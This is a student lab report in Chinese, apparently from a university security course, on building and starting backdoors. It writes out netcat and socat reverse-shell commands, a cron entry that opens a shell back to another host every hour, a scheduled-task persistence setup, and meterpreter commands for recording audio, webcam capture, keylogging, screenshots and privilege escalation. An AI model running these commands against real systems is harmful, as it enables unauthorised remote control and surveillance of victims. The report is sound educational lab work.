其他分享
首页 > 其他分享> > 后门原理与实现-20181224

后门原理与实现-20181224

作者:互联网

一、实验内容

(1)使用netcat获取主机操作Shell,cron启动 (0.5分)

(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (0.5分)

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

 

二、基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

答:钓鱼网站,网站挂马,下载的软件时被捆绑了恶意后门程序,收到社会工程学攻击。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

答:Linux中可以通过cron将后门设置为所需的定时启动,通过反弹式连接到客户端然后攻击者通过恶意控制启动后门;Windows中,攻击者可以通过修改注册表将后门程序添加到自启动项中,也可以将后门捆绑植入到各种正常的文件、程序中,当我们打开这些文件程序时后门被启动。

(3)Meterpreter有哪些给你映像深刻的功能?

答:可以获得目标主机的摄像头、音频等记录,对我来说印象非常深刻,让人防不胜防,另外是Meterpreter在目标机重启之后仍可控制。

(4)如何发现自己有系统有没有被安装后门?

答:通过任务管理器查看是否有在运行可疑进程,检查比照注册表中是否有可疑的自启动项,及时使用杀软对系统进行扫描。

二、熟悉基本工具

1. NC或ncat

 

Win获得Linux shell

         win主机输入ipconfig查看本机地址


         连接成功,win成功获得Linux的shell

          Linux运行监听指令

                   首先查看kali虚拟机的ip地址

运行监听指令nc -l -p 1224

Windows反弹连接Linux ncat.exe -e cmd.exe 192.168.174.129 1318

                       Linux下看到Windows的命令提示

使用nc传输数据和文件

        传输数据

 

 

 

传输文件

Linux向win传输文件

Windows下监听1224端口,并把接收到的数据保存到file1.out中,ncat.exe -l 1224 > file1.out

kali反弹连接到Windows的1224端口,并将file1.in文件传送过去。nc 172.168.228.63 < file1.in

连接建立成功,Win可以收到kali发来的文件。

 

win向Linux传输文件

Linux下监听1224端口,并将接收到的数据保存到文件file1.txt中,nc -l -p 1224 > file1.txt

 

win反弹连接到Linux的1224端口,并将file1.txt传过去。ncat.exe 192.168.187.137 1224 < file1.txt

连接建立成功,文件传输成功。

cron服务提供crontab命令来设定cron服务的,以下是一些常用的命令说明:
crontab -u //设定某个用户的cron服务,一般root用户在执行这个命令的时候需要此参数
crontab -l //列出某个用户cron服务的详细内容
crontab -e //编辑某个用户的cron服务


 

 

 

cron 的主配置文件是 /etc/crontab,文件中的每一行都代表一项任务,它的格式是:* * * * * command
这个格式的前一部分是对时间的设定,后面一部分是要执行的命令,如果要执行的命令太多,可以把这些命令写到一个脚本里面,然后在这里直接调用这个脚本就可以了,调用的时候记得写出命令的完整路径。时间的设定我们有一定的约定,前面五个*号代表五个数字,数字的取值范围和含义如下:

minute — 分钟,从 0 到 59 之间的任何整数

hour — 小时,从 0 到 23 之间的任何整数

day — 日期,从 1 到 31 之间的任何整数(如果指定了月份,必须是该月份的有效日期)

month — 月份,从 1 到 12 之间的任何整数(或使用月份的英文简写如 jan、feb 等等)

dayofweek — 星期,从 0 到 7 之间的任何整数,这里的 0 或 7 代表星期日(或使用星期的英文简写如 sun、mon 等等)

除了数字还可以使用如下几个特殊的符号:*:取值范围内的所有数字;/:每过多少个数字;-:从某个数字到某个数字;,:分开几个离散的数字

 

           首先使用ipconfig获得主机的地址

            然后使用ncat.exe程序打开监听,设置监听端口为1224,输入ncat.exe -l -p 1224

 

在kali虚拟机内执行crontab -e,在文件的最末尾添加55 * * * * /bin/netcat 172.16.228.63 1224 -e /bin/sh,意思是在每个小时的第55分钟反向连接Windows主机的1224端口

               每个小时的第55分钟,添加的那条指令就会执行,也就是说我们在Windows的命令行中可以获得Linux的shell,执行相关指令

 

 

         打开“计算机管理”,点击“任务计划程序”的“创建任务”,输入任务名称exp2 20181224

          选择触发器,新建一个,选择开始任务为:工作站锁定时

        选择操作,新建,在程序或脚本处选择本机socat.exe的下载位置。在添加参数一栏填写tcp-listen:1224 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口1224,同时把cmd.exe的stderr重定向到stdout上。

        在Kali中输入指令socat - tcp:172.16.228.63:1224,即可发现已经成功获得了一个cmd命令行窗口。输入Windows下命令行的相关指令即可执行


 

 

         2.使用nc将此后门程序传给Windows主机

 

 

            在Kali机上使msfconsole指令进入msf控制台

 

 输入use exploit/multi/handler进入handler

输入set payload windows/meterpreter/reverse_tcp设置连接(playload)

输入set LHOST 192.168.174.129设置ip地址(Linux地址)

输入set LPORT 1318设置端口号

输入show options再次查看设置是否正确

输入exploit打开监听

获取音频

在meterpreter中输入record_mic指令可以截获一段音频。-d选项可以设置录制时间。


第2个音频设置了时间为5s。

获取摄像头

输入webcam_snap指令可以使用摄像头进行拍照


获取键盘记录

使用keyscan_start指令开始记录下击键的过程

使用keyscan_dump指令读取击键的记录

 获取截屏

使用screenshot指令可以进行截屏

提权

首先使用getuid指令查看当前用户

使用getsystem指令进行提权

看到同学给出的解答是将后门程序的名字修改为install.exe即可提权,尝试后发现确实如此,提权成功。

 

原因:命令行没有关闭,文件还在传输状态

解决:关闭主机命令行。

原因:kali的防火墙没有关闭。

解决:通过ufw disable关闭kali防火墙,这些操作在实验完成后都要记得及时恢复。

 

六、实验感想

       本次实验让我感到十分的新奇,也存在不少挑战,我在参考同学的博客,逐步实现实验任务的过程中学到了很多后门原理,尤其是任务四中通过后门对攻击对象音频、视频、键盘、屏幕的抓取,让我感慨颇深,更加体会到网络安全的重要性、后门程序的强大性。当然,实验中实现的是一些很基本的操作,或许在现实中早已本杀软记录,但是原理是相通的,我了解到了后门的许多基本原理!实验中我感觉相对需要理解的是每条指令中ip的选择,什么时候是目标机ip,什么时候是主机ip,理解了这个相信就能对攻击的具体过程有一定的认识。总的来说,实验很激励我去学习更多的软件后门知识、渗透测试知识等等!

标签:后门,1224,Windows,主机,cron,exe,20181224,Linux,原理
来源: https://www.cnblogs.com/jiangjiahao/p/14590099.html